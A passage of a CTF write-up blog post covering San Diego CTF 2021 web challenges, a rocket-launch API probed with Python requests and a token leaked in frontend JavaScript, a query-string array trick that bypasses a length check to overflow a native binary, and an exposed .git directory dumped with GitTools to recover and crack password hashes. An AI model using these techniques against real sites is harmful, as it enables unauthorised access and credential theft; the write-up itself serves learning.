</code></pre></div></div>

<p>Oh, it accepts JSON data. Let’s try a post request with empty data</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">requests</span>
<span class="n">data</span> <span class="o">=</span> <span class="p">{}</span>
<span class="n">url</span> <span class="o">=</span> <span class="s">"https://space.sdc.tf/api/rocketLaunch"</span>
<span class="n">res</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">json</span><span class="o">=</span><span class="n">data</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">res</span><span class="p">.</span><span class="n">text</span><span class="p">)</span>
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>rocket not specified
</code></pre></div></div>
<p>rocket?? May be its a key in the json data. Let’s provide a random rocket.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">requests</span>
<span class="n">data</span> <span class="o">=</span> <span class="p">{</span><span class="s">"rocket"</span><span class="p">:</span> <span class="s">"random"</span><span class="p">}</span>
<span class="n">url</span> <span class="o">=</span> <span class="s">"https://space.sdc.tf/api/rocketLaunch"</span>
<span class="n">res</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">json</span><span class="o">=</span><span class="n">data</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">res</span><span class="p">.</span><span class="n">text</span><span class="p">)</span>
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>rocket not recognized (available: triton)
</code></pre></div></div>
<p>Oh, it accepts triton as a rocket.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">requests</span>
<span class="n">data</span> <span class="o">=</span> <span class="p">{</span><span class="s">"rocket"</span><span class="p">:</span> <span class="s">"triton"</span><span class="p">}</span>
<span class="n">url</span> <span class="o">=</span> <span class="s">"https://space.sdc.tf/api/rocketLaunch"</span>
<span class="n">res</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">json</span><span class="o">=</span><span class="n">data</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">res</span><span class="p">.</span><span class="n">text</span><span class="p">)</span>
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>launchTime not specified
</code></pre></div></div>

<p>And providing a random launch time -</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">requests</span>
<span class="n">data</span> <span class="o">=</span> <span class="p">{</span><span class="s">"rocket"</span><span class="p">:</span> <span class="s">"triton"</span><span class="p">,</span> <span class="s">"launchTime"</span><span class="p">:</span> <span class="s">"random"</span><span class="p">}</span>
<span class="n">url</span> <span class="o">=</span> <span class="s">"https://space.sdc.tf/api/rocketLaunch"</span>
<span class="n">res</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">json</span><span class="o">=</span><span class="n">data</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">res</span><span class="p">.</span><span class="n">text</span><span class="p">)</span>
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>launchTime not in hh:mm format
</code></pre></div></div>
<p>Okay !</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">requests</span>
<span class="n">data</span> <span class="o">=</span> <span class="p">{</span><span class="s">"rocket"</span><span class="p">:</span> <span class="s">"triton"</span><span class="p">,</span> <span class="s">"launchTime"</span><span class="p">:</span> <span class="s">"00:01"</span><span class="p">}</span>
<span class="n">url</span> <span class="o">=</span> <span class="s">"https://space.sdc.tf/api/rocketLaunch"</span>
<span class="n">res</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">json</span><span class="o">=</span><span class="n">data</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">res</span><span class="p">.</span><span class="n">text</span><span class="p">)</span>
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>launchTime unapproved
</code></pre></div></div>

<p>Cool, we got a break to think here. What would be the launch time? I tried looking in the other API paths. Tried 13:37 from challenge name, but nothing really worked. But then i decided to Brute force</p>

<p>There are 24 hours and 60 minutes. So we get the min time to be 00:00 while the maximum time of 23:59. So the possiblities are few being <strong>24x60=1440</strong></p>

<p>So i used a small python script!</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">requests</span>
<span class="n">url</span> <span class="o">=</span> <span class="s">"https://space.sdc.tf/api/rocketLaunch"</span>

<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">11</span><span class="p">,</span> <span class="mi">24</span><span class="p">):</span>
    <span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">60</span><span class="p">):</span>
        <span class="n">time</span> <span class="o">=</span> <span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">).</span><span class="n">zfill</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span> <span class="o">+</span> <span class="s">':'</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">j</span><span class="p">).</span><span class="n">zfill</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>
        <span class="n">data</span> <span class="o">=</span> <span class="p">{</span><span class="s">"rocket"</span><span class="p">:</span> <span class="s">"triton"</span><span class="p">,</span> <span class="s">"launchTime"</span><span class="p">:</span> <span class="n">time</span><span class="p">}</span>
        <span class="n">res</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">json</span><span class="o">=</span><span class="n">data</span><span class="p">)</span>
        
        <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">res</span><span class="p">.</span><span class="n">text</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">21</span><span class="p">:</span>
            <span class="k">print</span><span class="p">(</span><span class="s">"Got the correct time: "</span> <span class="o">+</span> <span class="n">time</span><span class="p">)</span>
            <span class="nb">exit</span><span class="p">()</span>
        
        <span class="k">print</span><span class="p">(</span><span class="n">time</span> <span class="o">+</span> <span class="s">" : "</span> <span class="o">+</span> <span class="n">res</span><span class="p">.</span><span class="n">text</span><span class="p">)</span>
</code></pre></div></div>
<p><img src="/images/py-resp.png" alt="" /></p>

<p>Cool! We have the correct time now.</p>

<blockquote>
  <p>Oh my bad! The description tells that the rocket was scheduled at noon today. So we can perfectly use the time 12:00, instead of brute forcing. Anyway…</p>
</blockquote>

<p>So going further -</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">requests</span>
<span class="n">data</span> <span class="o">=</span> <span class="p">{</span><span class="s">"rocket"</span><span class="p">:</span> <span class="s">"triton"</span><span class="p">,</span> <span class="s">"launchTime"</span><span class="p">:</span> <span class="s">"12:00"</span><span class="p">}</span>
<span class="n">url</span> <span class="o">=</span> <span class="s">"https://space.sdc.tf/api/rocketLaunch"</span>
<span class="n">res</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">json</span><span class="o">=</span><span class="n">data</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">res</span><span class="p">.</span><span class="n">text</span><span class="p">)</span>
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>fuel pumpID not specified
</code></pre></div></div>

<p>Remember the fuel path <a href="https://">/api/fuel</a>?</p>

<p><img src="/images/feul.png" alt="" /></p>

<p>We got some fuels to try out!! I tried all the five fuels. Fourth one is working.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">requests</span>
<span class="n">data</span> <span class="o">=</span> <span class="p">{</span><span class="s">"rocket"</span><span class="p">:</span> <span class="s">"triton"</span><span class="p">,</span> <span class="s">"launchTime"</span><span class="p">:</span> <span class="s">"12:00"</span><span class="p">,</span> <span class="s">"pumpID"</span><span class="p">:</span> <span class="mi">4</span><span class="p">}</span>
<span class="n">url</span> <span class="o">=</span> <span class="s">"https://space.sdc.tf/api/rocketLaunch"</span>
<span class="n">res</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">json</span><span class="o">=</span><span class="n">data</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">res</span><span class="p">.</span><span class="n">text</span><span class="p">)</span>
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>frontend authorization token not specified
</code></pre></div></div>

<p>Oh shit! Authorization? Where do I get the token? But it’s saying <strong>frontend authorization</strong>. May be, trying out to seach some JS files is a great idea.</p>

<p>As i thought, I found a token in JS a file.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nb">window</span><span class="p">.</span><span class="nx">localStorage</span><span class="p">.</span><span class="nx">getItem</span><span class="p">(</span><span class="dl">"</span><span class="s2">debug</span><span class="dl">"</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="nx">e</span><span class="p">.</span><span class="nx">headers</span> <span class="o">=</span> <span class="p">{</span>
                        <span class="na">Token</span><span class="p">:</span> <span class="dl">"</span><span class="s2">yiLYDykacWp9sgPMluQeKkANeRFXyU3ZuxBrj2BQ</span><span class="dl">"</span>
                    <span class="p">}),</span> <span class="nx">fetch</span><span class="p">(</span><span class="dl">"</span><span class="s2">./api/status?verbose=</span><span class="dl">"</span><span class="p">,</span> <span class="nx">e</span><span class="p">).</span><span class="nx">then</span><span class="p">((</span><span class="kd">function</span><span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="p">{</span>
                        <span class="k">return</span> <span class="nx">e</span><span class="p">.</span><span class="nx">json</span><span class="p">()</span>
                    <span class="p">})).</span><span class="nx">then</span><span class="p">((</span><span class="kd">function</span><span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="p">{</span>
                        <span class="k">return</span> <span class="nx">n</span><span class="p">(</span><span class="nx">e</span><span class="p">.</span><span class="nx">longStatus</span><span class="p">)</span>
                    <span class="p">}))</span>
</code></pre></div></div>

<p>For some reason, the <code class="language-plaintext highlighter-rouge">token</code> was case-sensitive. But is was spelled <code class="language-plaintext highlighter-rouge">Token</code> in JS</p>

<p>So finally, providing the token in the json -</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">requests</span>
<span class="n">data</span> <span class="o">=</span> <span class="p">{</span><span class="s">"rocket"</span><span class="p">:</span> <span class="s">"triton"</span><span class="p">,</span> <span class="s">"launchTime"</span><span class="p">:</span> <span class="s">"12:00"</span><span class="p">,</span> <span class="s">"pumpID"</span><span class="p">:</span> <span class="mi">4</span><span class="p">,</span> <span class="s">"token"</span><span class="p">:</span> <span class="s">"yiLYDykacWp9sgPMluQeKkANeRFXyU3ZuxBrj2BQ"</span><span class="p">}</span>
<span class="n">url</span> <span class="o">=</span> <span class="s">"https://space.sdc.tf/api/rocketLaunch"</span>
<span class="n">res</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">json</span><span class="o">=</span><span class="n">data</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">res</span><span class="p">.</span><span class="n">text</span><span class="p">)</span>
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>rocket launched. sdctf{0ne_sM@lL_sT3p_f0R_h@ck3r$}
</code></pre></div></div>

<p>Yayy!! The rocket got launched. We have the flag.
<br /></p>

<h3 id="flag">Flag</h3>
<blockquote>
  <p>sdctf{0ne_sM@lL_sT3p_f0R_h@ck3r$}</p>
</blockquote>

<p><br />
<br /></p>

<h2 id="gets-request">GETS Request</h2>
<p><img src="/images/gets-request.png" alt="" /></p>

<p><br /></p>

<h3 id="disclaimer">Disclaimer</h3>
<blockquote>
  <p>I did not solve the challenge in time.
     I found the solution on discord, later.
     This write-up helps you understand the detailed solution.</p>
</blockquote>

<p><br /></p>

<h3 id="tldr-1">TL;DR</h3>
<ul>
  <li>The website is intented to calculate the no. of primes under the given number. It takes the user provided number as a get-parameter - <code class="language-plaintext highlighter-rouge">n</code></li>
  <li>Length of the get parameter is checked using <strong>length</strong> attribute in js</li>
  <li>This length check can be bypassed using passing <code class="language-plaintext highlighter-rouge">n</code> as an array like <code class="language-plaintext highlighter-rouge">n[]</code>. Now, how big the input is, array length, that is no. of elements in an array is going to stay 1.</li>
  <li>And the input is passed as an argument to a binary. But there was no buffer length check inside the binary.</li>
  <li>So this is a classic case of Buffer Overflow!.</li>
  <li>Here, just generating a segmentation-fault would give us the flag.</li>
</ul>

<p><br /></p>

<h3 id="source-code">Source code</h3>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">spawn</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">child_process</span><span class="dl">'</span><span class="p">).</span><span class="nx">spawn</span><span class="p">;</span>

<span class="kd">const</span> <span class="nx">express</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">express</span><span class="dl">'</span><span class="p">);</span>
<span class="kd">const</span> <span class="nx">PORT</span> <span class="o">=</span> <span class="nx">process</span><span class="p">.</span><span class="nx">env</span><span class="p">.</span><span class="nx">PORT</span> <span class="o">||</span> <span class="mi">1337</span><span class="p">;</span>
<span class="kd">const</span> <span class="nx">app</span> <span class="o">=</span> <span class="nx">express</span><span class="p">();</span>

<span class="kd">const</span> <span class="nx">BUFFER_SIZE</span> <span class="o">=</span> <span class="mi">8</span><span class="p">;</span>

<span class="nx">app</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="dl">'</span><span class="s1">/prime</span><span class="dl">'</span><span class="p">,</span> <span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
  <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nx">req</span><span class="p">.</span><span class="nx">query</span><span class="p">.</span><span class="nx">n</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">res</span><span class="p">.</span><span class="nx">status</span><span class="p">(</span><span class="mi">400</span><span class="p">).</span><span class="nx">send</span><span class="p">(</span><span class="dl">'</span><span class="s1">Missing required parameter n</span><span class="dl">'</span><span class="p">);</span>
    <span class="k">return</span><span class="p">;</span>
  <span class="p">}</span>
   
  <span class="c1">// Here to check the length of `n`, length attribute is used</span>
  <span class="k">if</span><span class="p">(</span><span class="nx">req</span><span class="p">.</span><span class="nx">query</span><span class="p">.</span><span class="nx">n</span><span class="p">.</span><span class="nx">length</span> <span class="o">&gt;</span> <span class="nx">BUFFER_SIZE</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">res</span><span class="p">.</span><span class="nx">status</span><span class="p">(</span><span class="mi">400</span><span class="p">).</span><span class="nx">send</span><span class="p">(</span><span class="dl">'</span><span class="s1">Requested n too large!</span><span class="dl">'</span><span class="p">);</span>
    <span class="k">return</span><span class="p">;</span>
  <span class="p">}</span>

  <span class="kd">let</span> <span class="nx">output</span> <span class="o">=</span> <span class="dl">''</span><span class="p">;</span>
  <span class="kd">const</span> <span class="nx">proc</span> <span class="o">=</span> <span class="nx">spawn</span><span class="p">(</span><span class="nx">__dirname</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">/primegen</span><span class="dl">'</span><span class="p">);</span>
  <span class="nx">proc</span><span class="p">.</span><span class="nx">stdout</span><span class="p">.</span><span class="nx">on</span><span class="p">(</span><span class="dl">'</span><span class="s1">data</span><span class="dl">'</span><span class="p">,</span> <span class="nx">data</span> <span class="o">=&gt;</span> <span class="nx">output</span> <span class="o">+=</span> <span class="nx">data</span><span class="p">.</span><span class="nx">toString</span><span class="p">());</span>
  <span class="nx">proc</span><span class="p">.</span><span class="nx">on</span><span class="p">(</span><span class="dl">'</span><span class="s1">exit</span><span class="dl">'</span><span class="p">,</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="nx">res</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="nx">output</span><span class="p">));</span>

  <span class="c1">// call our super-efficient native prime generator!</span>
  <span class="c1">// Here, the user input is passed as argument to primegen binary</span>
  <span class="nx">proc</span><span class="p">.</span><span class="nx">stdin</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="s2">`</span><span class="p">${</span><span class="nx">req</span><span class="p">.</span><span class="nx">query</span><span class="p">.</span><span class="nx">n</span><span class="p">}</span><span class="s2">\n`</span><span class="p">);</span>
<span class="p">})</span>

<span class="nx">app</span><span class="p">.</span><span class="nx">use</span><span class="p">(</span><span class="dl">'</span><span class="s1">/</span><span class="dl">'</span><span class="p">,</span> <span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
  <span class="nx">res</span><span class="p">.</span><span class="nx">sendFile</span><span class="p">(</span><span class="nx">__dirname</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">/index.html</span><span class="dl">'</span><span class="p">);</span>
<span class="p">});</span>

<span class="nx">app</span><span class="p">.</span><span class="nx">use</span><span class="p">(</span><span class="dl">'</span><span class="s1">*</span><span class="dl">'</span><span class="p">,</span> <span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
  <span class="nx">res</span><span class="p">.</span><span class="nx">status</span><span class="p">(</span><span class="mi">404</span><span class="p">).</span><span class="nx">send</span><span class="p">(</span><span class="dl">'</span><span class="s1">Not Found</span><span class="dl">'</span><span class="p">);</span>
<span class="p">});</span>

<span class="nx">app</span><span class="p">.</span><span class="nx">listen</span><span class="p">(</span><span class="nx">PORT</span><span class="p">,</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="p">{</span>
  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s2">`prime generator listening at http://localhost:</span><span class="p">${</span><span class="nx">PORT</span><span class="p">}</span><span class="s2">`</span><span class="p">)</span>
<span class="p">})</span>

</code></pre></div></div>

<p><br /></p>

<h3 id="solution-1">Solution</h3>

<h4 id="littile-quirk-in-javascript">Littile quirk in javascript</h4>
<p>Take a look at following javascript code
Array is concatenated with a string -</p>

<p><img src="/images/js-quirk.png" alt="" /></p>

<p>It’s like js tries to convert the elemnts in array into strings and performs the concatenation. If multiple arguments are specifies, it adds a <code class="language-plaintext highlighter-rouge">,</code> (comma) between the elements. So it a single element is provided the <code class="language-plaintext highlighter-rouge">'hello'</code> and <code class="language-plaintext highlighter-rouge">['hello']</code> are treated same in certain scenario. So let’s make use of this later.</p>

<p><br /></p>

<h4 id="length-check-bypass">Length check bypass</h4>
<p>In <code class="language-plaintext highlighter-rouge">line 45</code> in above source code, there length check of <code class="language-plaintext highlighter-rouge">n</code> using <code class="language-plaintext highlighter-rouge">length</code> attribute. This attribute can also be used with the array to give number of elements in the array.
Look the code below -</p>

<p><img src="/images/length-check.png" alt="" /></p>

<p>Notice the difference!!</p>

<p>So, if the parameter is passed as an array rather a string, that would bypass the length check. And same time the array will be treated as a string by JS and it is passed as an argument to a binary.</p>

<p><br /></p>

<h4 id="exploitation">Exploitation</h4>

<p>The request to get the primes count -</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl https://gets.sdc.tf/prime?n=1000
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>There are exactly 192 primes under 1000
</code></pre></div></div>
<p>Trying larger number (more than 8 digits) as input -</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl https://gets.sdc.tf/prime?n=123456789
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Requested n too large!
</code></pre></div></div>
<p>Send the same number as an array -</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl https://gets.sdc.tf/prime?n[]=123456789
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>number malformed
</code></pre></div></div>
<p>Cool. We didn’t hit the check now. But the binary doesn’t accept this number.</p>

<p>As mentioned in the description, about <code class="language-plaintext highlighter-rouge">memory issues</code>, an ideal thought would be <code class="language-plaintext highlighter-rouge">memory corruption</code>, with a hypothesis, may be length of input is not checked in the binary but only has been checked in the JS.</p>

<p>With this in mind, trying a larger number to overflow the buffer may cause a <code class="language-plaintext highlighter-rouge">Segmentation Fault</code>.</p>

<p>Trying larger input -</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl https://gets.sdc.tf/prime?n[]=12345678955555555555555555
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>buffer overflow! sdctf{B3$T_0f-b0TH_w0rLds}
</code></pre></div></div>

<p>Bingo!. We got the flag.</p>

<p>Wait, what ??</p>

<blockquote>
  <p>How could a <strong>Segmentation Fault</strong> would give the flag ?</p>
</blockquote>

<p>The binary uses <code class="language-plaintext highlighter-rouge">SIGSEGV</code> signal and <code class="language-plaintext highlighter-rouge">sigsegv_handler</code> which are usually used for handling <strong>segmentation faults</strong> (Probably a bad idea! :). Here, in this case, the seg fault generates a <code class="language-plaintext highlighter-rouge">SIGSEGV</code> which evokes the <code class="language-plaintext highlighter-rouge">sigsegv_handler</code> which is just a some function to do something. Here the handler just prints the flag. Authour probably wanted to make the binary part of challenge, simple.</p>

<p><br /></p>

<h3 id="flag-1">Flag</h3>
<blockquote>
  <p>sdctf{B3$T_0f-b0TH_w0rLds}</p>
</blockquote>

<p><br />
<br /></p>

<h2 id="git-good">Git Good</h2>
<p><img src="/images/git-good.png" alt="" /></p>

<p><br /></p>

<h3 id="tldr-2">TL;DR</h3>
<ul>
  <li>Initial recon leads to robots.txt on the website with a <strong>/admin.html</strong> and <strong>/.git/</strong> paths</li>
  <li>The <strong>/.git</strong> path was not accessible directly, as the directory listing was not enabled</li>
  <li>But checking any standard file like <strong>/.git/config</strong> would give a clue that version control repository was hosted in production</li>
  <li>So with help of a <strong>gitTools</strong> we can recover all the source code of website</li>
  <li>Source code has an database file with a weak password hash</li>
  <li>Crack the password to login and we have the flag
<br /></li>
</ul>

<h3 id="solution-2">Solution</h3>

<p>Checking into robots.txt two paths were disallowed</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>User-agent: *
Disallow: /admin.html
Disallow: /.git/
</code></pre></div></div>

<p>Checking the <strong>/admin.html</strong> shows a login page but we still don’t have the credentials.
<img src="/images/login.png" alt="" /></p>

<p>Checking out the /.git/ - Not found error</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Cannot GET /.git/
</code></pre></div></div>

<p>From here, I was not really sure about what to do. It’s obvious that the challenge is related to <strong>git</strong> as challenge name indicates. I have no proper idea and was not able to remember that source code can even be retrived without directory listing enabled.</p>

<p>Then my friend <a href="https://twitter.com/k0imet_"><strong>@koimet</strong></a>, who was well aware about this, used the tool from <strong>internetwache</strong> called <a href="https://github.com/internetwache/GitTools"><strong>GitTools</strong></a> to dump the source code of the website (easy-peasy).</p>

<p>He used the following command:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>./gitdumper.sh http://cgau.sdc.tf/.git/ ./&lt;folder-name&gt;
</code></pre></div></div>

<p>Once he got the source, searching for important stuff revealed <strong>users.db</strong> sqilte file with emails and password hashes</p>

<p>Quickly, reading the data using sqlite -</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sqlite&gt; .tables
users
sqlite&gt; SELECT * FROM users;
1|aaron@cgau.sdc.tf|e04efcfda166ec49ba7af5092877030e
2|chris@cgau.sdc.tf|c7c8abd4980ff956910cc9665f74f661
3|yash@cgau.sdc.tf|b4bf4e746ab3f2a77173d75dd18e591d
4|rj@cgau.sdc.tf|5a321155e7afbf0cfacf1b9d22742889
5|shawn@cgau.sdc.tf|a8252b3bbf4f3ed81dbcdcca78c6eb35
sqlite&gt; 
</code></pre></div></div>

<p>Cracking the first hash using <a href="https://hashes.com">hashes.com</a>, we get the password which is <code class="language-plaintext highlighter-rouge">weakpassword</code></p>

<p>Cool. Now back to login page with the email and the password!</p>

<p><img src="/images/flag.png" alt="" /></p>

<p>Yay! We got the flag!</p>

<p><br /></p>

<h3 id="flag-2">Flag</h3>
<blockquote>
  <p>sdctf{1298754_Y0U_G07_g00D!}</p>
</blockquote>

<h2 id="takeaways">Takeaways</h2>
<ul>
  <li>Keep an eye on parameters which might have different functionalities</li>
  <li>Always search for API tokens, Authorization tokens and other important data in JavaScript files</li>
  <li>Check if the website has version control repos in the production</li>
  <li>Dig into every part of the source code to exploit more!</li>
  <li>Try in different ways to bypass checks and other functionalities. Search for quirks. Google it.</li>
  <li>Try to use previous bypasses in other platforms on the current platform. May be sometimes that works or just gives a clue of further exploitation.</li>
</ul>

<p><br />
<br /></p>

<p>Happy Hacking!</p>

<p><br />
<br /></p>

<blockquote>
  <p>Feel free to provide feedback.</p>
</blockquote>]]></content><author><name>Jokr</name><email>hemanthjavvaji007@gmail.com</email></author><category term="San&amp;nbsp;Diego&amp;nbsp;CTF&amp;nbsp;2021" /><category term="web" /><category term="tokens&amp;nbsp;leak" /><category term="get-parameter-length-bypass" /><category term="nodejs" /><category term="git" /><category term="hashes" /><summary type="html"><![CDATA[Here, you can find write-ups of few interesting challenges from my solves in San Diego CTF 2021 2021. Apollo TL;DR The website’s interface seems to be down. While investigating the network, website uses an API with the path /api/status?verbose= Setting parameter verbose to any value, unlocks other API paths Investigating the responses and crafting a right request would launch the rocket Finally, the crafted request, requires an Authorization token, which can be found on Frontend JS pages Sending the correct request along with Authorization token would give the flag Solution Opening up the website, the page shows two messages about Frontend and Backend Servers. It says, the FrontEnd is not active, but the Backend server is working fine. There must be some sort of API which the website must be using as refered in the challenge description Checking out the network tab in firefox dev tools, reveals the Backend API route https://space.sdc.tf/api/status?verbose= This route gives the following response Wait!! We got the API, but what’s the verbose parameter in the URL? May be it generates verbose response!. Trying ?verbose=1, yeilds the following response Cool!! It revealed some other API paths. Rocket launching and fuel? The path /rocketLaunch is more interesting according to the challenge description Let’s try sending some requests using python. Sending a get request using python - import requests url = "https://space.sdc.tf/api/rocketLaunch" print(requests.get(url).text) request body must be json Oh, it accepts JSON data. Let’s try a post request with empty data import requests data = {} url = "https://space.sdc.tf/api/rocketLaunch" res = requests.post(url, json=data) print(res.text) rocket not specified rocket?? May be its a key in the json data. Let’s provide a random rocket. import requests data = {"rocket": "random"} url = "https://space.sdc.tf/api/rocketLaunch" res = requests.post(url, json=data) print(res.text) rocket not recognized (available: triton) Oh, it accepts triton as a rocket. import requests data = {"rocket": "triton"} url = "https://space.sdc.tf/api/rocketLaunch" res = requests.post(url, json=data) print(res.text) launchTime not specified And providing a random launch time - import requests data = {"rocket": "triton", "launchTime": "random"} url = "https://space.sdc.tf/api/rocketLaunch" res = requests.post(url, json=data) print(res.text) launchTime not in hh:mm format Okay ! import requests data = {"rocket": "triton", "launchTime": "00:01"} url = "https://space.sdc.tf/api/rocketLaunch" res = requests.post(url, json=data) print(res.text) launchTime unapproved Cool, we got a break to think here. What would be the launch time? I tried looking in the other API paths. Tried 13:37 from challenge name, but nothing really worked. But then i decided to Brute force There are 24 hours and 60 minutes. So we get the min time to be 00:00 while the maximum time of 23:59. So the possiblities are few being 24x60=1440 So i used a small python script! import requests url = "https://space.sdc.tf/api/rocketLaunch" for i in range(11, 24): for j in range(60): time = str(i).zfill(2) + ':' + str(j).zfill(2) data = {"rocket": "triton", "launchTime": time} res = requests.post(url, json=data) if len(res.text) &gt; 21: print("Got the correct time: " + time) exit() print(time + " : " + res.text) Cool! We have the correct time now. Oh my bad! The description tells that the rocket was scheduled at noon today. So we can perfectly use the time 12:00, instead of brute forcing. Anyway… So going further - import requests data = {"rocket": "triton", "launchTime": "12:00"} url = "https://space.sdc.tf/api/rocketLaunch" res = requests.post(url, json=data) print(res.text) fuel pumpID not specified Remember the fuel path /api/fuel? We got some fuels to try out!! I tried all the five fuels. Fourth one is working. import requests data = {"rocket": "triton", "launchTime": "12:00", "pumpID": 4} url = "https://space.sdc.tf/api/rocketLaunch" res = requests.post(url, json=data) print(res.text) frontend authorization token not specified Oh shit! Authorization? Where do I get the token? But it’s saying frontend authorization. May be, trying out to seach some JS files is a great idea. As i thought, I found a token in JS a file. window.localStorage.getItem("debug") &amp;&amp; (e.headers = { Token: "yiLYDykacWp9sgPMluQeKkANeRFXyU3ZuxBrj2BQ" }), fetch("./api/status?verbose=", e).then((function(e) { return e.json() })).then((function(e) { return n(e.longStatus) })) For some reason, the token was case-sensitive. But is was 